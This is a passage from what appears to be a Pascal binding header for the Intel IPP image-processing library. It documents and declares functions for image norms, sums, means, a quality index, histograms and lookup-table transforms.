Purpose: computes the relative error for the L2-norm of pixel values of two images:
n = SQRT(SUM |src1 - src2|^2 / SUM |src2|^2)
Context:
Returns: IppStatus
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsDivByZero SUM |src2|^2 == 0
Parameters:
pSrc1, pSrc2 Pointers to the source images.
src1Step, src2Step Steps in bytes through the source images
roiSize Size of the source ROI.
pValue Pointer to the computed norm (one-channel data)
value Array of the computed norms for each channel (multi-channel data)
hint Option to specify the computation algorithm
Notes:
}
function ippiNormRel_L2_8u_C1R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_L2_8u_C3R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNormRel_L2_8u_C4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNormRel_L2_16s_C1R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_L2_16s_C3R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNormRel_L2_16s_C4R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNormRel_L2_16u_C1R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ): IppStatus; _ippapi
function ippiNormRel_L2_16u_C3R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ): IppStatus; _ippapi
function ippiNormRel_L2_16u_C4R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ): IppStatus; _ippapi
function ippiNormRel_L2_32f_C1R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; pValue : Ipp64fPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiNormRel_L2_32f_C3R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_3 ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiNormRel_L2_32f_C4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; value : Ipp64f_4 ; hint : IppHintAlgorithm ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiSum
Purpose: computes the sum of image pixel values
Context:
Returns: IppStatus
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
Parameters:
pSrc Pointer to the source image.
srcStep Step in bytes through the source image
roiSize Size of the source image ROI.
pSum Pointer to the result (one-channel data)
sum Array containing the results (multi-channel data)
hint Option to select the algorithmic implementation of the function
Notes:
}
function ippiSum_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pSum : Ipp64fPtr ): IppStatus; _ippapi
function ippiSum_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; sum : Ipp64f_3 ): IppStatus; _ippapi
function ippiSum_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; sum : Ipp64f_4 ): IppStatus; _ippapi
function ippiSum_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; pSum : Ipp64fPtr ): IppStatus; _ippapi
function ippiSum_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; sum : Ipp64f_3 ): IppStatus; _ippapi
function ippiSum_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; sum : Ipp64f_4 ): IppStatus; _ippapi
function ippiSum_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pSum : Ipp64fPtr ): IppStatus; _ippapi
function ippiSum_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; sum : Ipp64f_3 ): IppStatus; _ippapi
function ippiSum_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; sum : Ipp64f_4 ): IppStatus; _ippapi
function ippiSum_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; pSum : Ipp64fPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiSum_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; sum : Ipp64f_3 ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiSum_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; sum : Ipp64f_4 ; hint : IppHintAlgorithm ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiMean
Purpose: computes the mean of image pixel values
Context:
Returns: IppStatus
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value.
Parameters:
pSrc Pointer to the source image.
srcStep Step in bytes through the source image
roiSize Size of the source ROI.
pMean Pointer to the result (one-channel data)
mean Array containing the results (multi-channel data)
hint Option to select the algorithmic implementation of the function
Notes:
}
function ippiMean_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pMean : Ipp64fPtr ): IppStatus; _ippapi
function ippiMean_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; mean : Ipp64f_3 ): IppStatus; _ippapi
function ippiMean_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; mean : Ipp64f_4 ): IppStatus; _ippapi
function ippiMean_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; pMean : Ipp64fPtr ): IppStatus; _ippapi
function ippiMean_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; mean : Ipp64f_3 ): IppStatus; _ippapi
function ippiMean_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; mean : Ipp64f_4 ): IppStatus; _ippapi
function ippiMean_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pMean : Ipp64fPtr ): IppStatus; _ippapi
function ippiMean_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; mean : Ipp64f_3 ): IppStatus; _ippapi
function ippiMean_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; mean : Ipp64f_4 ): IppStatus; _ippapi
function ippiMean_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; pMean : Ipp64fPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiMean_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; mean : Ipp64f_3 ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiMean_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; mean : Ipp64f_4 ; hint : IppHintAlgorithm ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiQualityIndex
Purpose: ippiQualityIndex() function calculates the Universal Image Quality
Index. Instead of traditional error summation methods, the
proposed index is designed by modeling any image distortion as a
combination of three factors: loss of correlation, luminance
distortion, and contrast distortion. The dynamic range of the index
is [-1.0, 1.0].
Parameters:
pSrc1 - Pointer to the first source image ROI.
src1Step - Distance, in bytes, between the starting points of consecutive lines in the first source image.
pSrc2 - Pointer to the second source image ROI.
src2Step - Distance, in bytes, between the starting points of consecutive lines in the second source image.
roiSize - Size, in pixels, of the 1st and 2nd source images.
pQualityIndex - Pointer where to store the calculated Universal Image Quality Index.
pBuffer - Pointer to the buffer for internal calculations. Size of the buffer is calculated by ippiQualityIndexGetBufferSize.
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when the roiSize has a zero or negative value.
ippStsStepErr - Error when the src1Step or src2Step is less than or equal to zero.
}
function ippiQualityIndex_8u32f_C1R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pQualityIndex : Ipp32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiQualityIndex_8u32f_C3R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pQualityIndex : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiQualityIndex_8u32f_AC4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pQualityIndex : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiQualityIndex_16u32f_C1R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pQualityIndex : Ipp32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiQualityIndex_16u32f_C3R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pQualityIndex : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiQualityIndex_16u32f_AC4R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pQualityIndex : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiQualityIndex_32f_C1R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; pQualityIndex : Ipp32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiQualityIndex_32f_C3R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; pQualityIndex : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiQualityIndex_32f_AC4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; pQualityIndex : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiQualityIndexGetBufferSize
Purpose: Get the size (in bytes) of the buffer for ippiQualityIndex.
Parameters:
srcType - IPP data type name of the source images. Possible values are ipp8u, ipp16u or ipp32f.
ippChan - IPP channels name of of the source images. Possible values are ippC1, ippC3 or ippAC4.
roiSize - Size, in pixels, of the source images.
pBufferSize - Pointer to the calculated buffer size (in bytes).
Return:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when the roiSize has a zero or negative value.
ippStsDataTypeErr - Error when the srcType has an illegal value.
ippStsChannelErr - Error when the ippChan has an illegal value.
}
function ippiQualityIndexGetBufferSize( srcType : IppDataType ; ippChan : IppChannels ; roiSize : IppiSize ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiHistogramGetBufferSize
Purpose: Get the sizes (in bytes) of the spec and the buffer for ippiHistogram_.
Parameters:
dataType - Data type for source image. Possible values are ipp8u, ipp16u, ipp16s or ipp32f.
roiSize - Size, in pixels, of the source image.
nLevels - Number of levels values, separate for each channel.
numChannels - Number of image channels. Possible values are 1, 3, or 4.
uniform - Type of levels distribution: 0 - with random step, 1 - with uniform step.
pSpecSize - Pointer to the calculated spec size (in bytes).
pBufferSize - Pointer to the calculated buffer size (in bytes).
Return:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when the roiSize has a zero or negative value.
ippStsHistoNofLevelsErr - Error when the number of levels is less than 2.
ippStsNumChannelsErr - Error when the numChannels value differs from 1, 3, or 4.
ippStsDataTypeErr - Error when the dataType value differs from the ipp8u, ipp16u, ipp16s or ipp32f.
}
function ippiHistogramGetBufferSize( dataType : IppDataType ; roiSize : IppiSize ; nLevels : Int32Ptr ; numChannels : Int32 ; uniform : Int32 ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiHistogramInit, ippiHistogramUniformInit
Purpose: Initializes the Spec for ippiHistogram.
Parameters:
dataType - Data type for source image. Possible values are ipp8u, ipp16u, ipp16s or ipp32f.
pLevels - Pointer to the array of level values. In case of multi-channel data, pLevels is an array of pointers to the level values array for each channel.
lowerLevel - The lower levels for uniform histogram, separate for each channel.
upperLevel - The upper levels for uniform histogram, separate for each channel.
nLevels - Number of levels values, separate for each channel.
numChannels - Number of image channels. Possible values are 1, 3, or 4.
pSpec - Pointer to the spec object.
Return:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsNumChannelsErr - Error when the numChannels value differs from 1, 3, or 4.
ippStsHistoNofLevelsErr - Error when the number of levels is less than 2.
ippStsRangeErr - Error when consecutive pLevels values don`t satisfy the condition: pLevel[i] < pLevel[i+1].
ippStsDataTypeErr - Error when the dataType value differs from the ipp8u, ipp16u, ipp16s or ipp32f.
ippStsSizeWrn - Warning ( in case of uniform histogram of integer data type) when rated level step is less than 1.
}
function ippiHistogramInit( dataType : IppDataType ; pLevels : Ipp32fPtr ; nLevels : Int32Ptr ; numChannels : Int32 ; pSpec : IppiHistogramSpecPtr ): IppStatus; _ippapi
function ippiHistogramUniformInit( dataType : IppDataType ; lowerLevel : Ipp32fPtr ; upperLevel : Ipp32fptr ; nLevels : Int32Ptr ; numChannels : Int32 ; pSpec : IppiHistogramSpecPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiHistogramGetLevels
Purpose: Returns levels arrays stored in the pSpec object.
Parameters:
pSpec - Pointer to the spec object.
pLevels - Pointer to the array of level values. In case of multi-channel data, pLevels is an array of pointers to the level values array for each channel.
Return:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsBadArgErr - Error when pSpec object doesn`t initialized.
}
function ippiHistogramGetLevels( pSpec : IppiHistogramSpecPtr ; pLevels : Ipp32fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiHistogram
Purpose: Computes the intensity histogram of an image.
Parameters:
pSrc - Pointer to the source image ROI.
srcStep - Distance, in bytes, between the starting points of consecutive lines in the source image.
roiSize - Size, in pixels, of the source image.
pHist - Pointer to the computed histogram. In case of multi-channel data, pHist is an array of pointers to the histogram for each channel.
pSpec - Pointer to the spec.
pBuffer - Pointer to the buffer for internal calculations.
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when the roiSize has a zero or negative value.
ippStsStepErr - Error when the srcStep is less than roiSize.width * sizeof( *pSrc) * nChannels.
ippStsBadArgErr - Error when pSpec object doesn`t initialized.
}
function ippiHistogram_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pHist : Ipp32uPtr ; pSpec : IppiHistogramSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiHistogram_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pHist : Ipp32u_3Ptr ; pSpec : IppiHistogramSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiHistogram_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pHist : Ipp32u_4Ptr ; pSpec : IppiHistogramSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiHistogram_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; pHist : Ipp32uPtr ; pSpec : IppiHistogramSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiHistogram_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; pHist : Ipp32u_3Ptr ; pSpec : IppiHistogramSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiHistogram_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; pHist : Ipp32u_4Ptr ; pSpec : IppiHistogramSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiHistogram_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pHist : Ipp32uPtr ; pSpec : IppiHistogramSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiHistogram_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pHist : Ipp32u_3Ptr ; pSpec : IppiHistogramSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiHistogram_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pHist : Ipp32u_4Ptr ; pSpec : IppiHistogramSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiHistogram_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; pHist : Ipp32uPtr ; pSpec : IppiHistogramSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiHistogram_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; pHist : Ipp32u_3Ptr ; pSpec : IppiHistogramSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiHistogram_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; pHist : Ipp32u_4Ptr ; pSpec : IppiHistogramSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiLUT
Purpose: Performs intensity transformation of an image
using lookup table (LUT) without interpolation or
using lookup table (LUT) with linear interpolation or
using lookup table (LUT) with cubic interpolation
Parameters:
pSrc - Pointer to the source image.
srcStep - Distances, in bytes, between the starting points of consecutive lines in the source images.
pDst - Pointer to the destination image.
dstStep - Distance, in bytes, between the starting points of consecutive lines in the destination image.
pSrcDst - Pointer to the source/destination image (inplace case).
srcDstStep - Distance, in bytes, between the starting points of consecutive lines in the source/destination image (inplace case).
roiSize - Size, in pixels, of the ROI.
pSpec - Pointer to the LUT spec structure.
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when roiSize has a field with value less than 1.
ippStsStepErr - Error when srcStep, dstStep or srcDstStep has a zero or negative value.
ippStsBadArgErr - Error when pSpec initialized incorect.
}
function ippiLUT_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_8u_C1IR ( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_8u_C3IR ( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_8u_C4IR ( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_8u_AC4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_16u_C1R ( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_16u_C3R ( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_16u_C4R ( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_16u_C1IR ( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_16u_C3IR ( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_16u_C4IR ( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_16u_AC4IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_16s_C1R ( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_16s_C3R ( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_16s_C4R ( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_16s_C1IR ( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_16s_C3IR ( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_16s_C4IR ( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_16s_AC4IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_32f_C1R ( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_32f_C3R ( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_32f_C4R ( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_32f_C1IR ( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_32f_C3IR ( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_32f_C4IR ( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_32f_AC4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiLUT_GetSize
Purpose: Gets the size (in bytes) of the spec buffer for ippiLUT.
Parameters:
interp - Interpolation type (ippCubic or ippLinear or ippNearest).
dataType - IPP data type name of the images. Possible values are ipp8u, ipp16u, ipp16s or ipp32f.
numChannels - IPP channels name of of the images. Possible values are ippC1, ippC3, ippC4 or ippAC4.
roiSize - Size, in pixels, of the destination ROI.
nLevels - Number of levels, separate for each channel.
pSpecSize - Pointer to the calculated spec size (in bytes).
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when roiSize has a field with value less than 1.
ippStsDataTypeErr - Error when the srcType has an illegal value.
ippStsChannelErr - Error when the ippChan has an illegal value.
ippStsInterpolationErr - Error when the interpolationType has an illegal value.
}
function ippiLUT_GetSize( interp : IppiInterpolationType ; dataType : IppDataType ; ippChan : IppChannels ; roiSize : IppiSize ; constref nLevels : Int32 ; var pSpecSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiLUT_Init
Purpose: Initializes the spec for ippiLUT.
Parameters:
interp - Interpolation type (ippCubic or ippLinear or ippNearest).
numChannels - IPP channels name of of the images. Possible values are ippC1, ippC3, ippC4 or ippAC4.
roiSize - Size, in pixels, of the destination ROI.
pValues - Ppointer to the array of intensity values, separate for each channel.
pLevels - Pointer to the array of level values, separate for each channel.
nLevels - Number of levels, separate for each channel.
pSpec - Pointer to the LUT spec structure.
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when roiSize has a field with value less than 1.
ippStsChannelErr - Error when the ippChan has an illegal value.
ippStsLUTNofLevelsErr - Error when the number of levels is less 2.
ippStsInterpolationErr - Error when the interpolationType has an illegal value.
}
function ippiLUT_Init_8u( interp : IppiInterpolationType ; ippChan : IppChannels ; roiSize : IppiSize ; pValues : Ipp32sPtr ; pLevels : Ipp32sPtr ; constref nLevels : Int32 ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_Init_16u( interp : IppiInterpolationType ; ippChan : IppChannels ; roiSize : IppiSize ; pValues : Ipp32sPtr ; pLevels : Ipp32sPtr ; constref nLevels : Int32 ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_Init_16s( interp : IppiInterpolationType ; ippChan : IppChannels ; roiSize : IppiSize ; pValues : Ipp32sPtr ; pLevels : Ipp32sPtr ; constref nLevels : Int32 ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
function ippiLUT_Init_32f( interp : IppiInterpolationType ; ippChan : IppChannels ; roiSize : IppiSize ; pValues : Ipp32fPtr ; pLevels : Ipp32fPtr ; constref nLevels : Int32 ; pSpec : IppiLUT_SpecPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiLUTPalette
Purpose: intensity transformation of image using the palette lookup table pTable
Parameters:
pSrc pointer to the source image
srcStep line offset in input data in bytes
alphaValue constant alpha channel
pDst pointer to the destination image
dstStep line offset in output data in bytes
roiSize size of source ROI in pixels
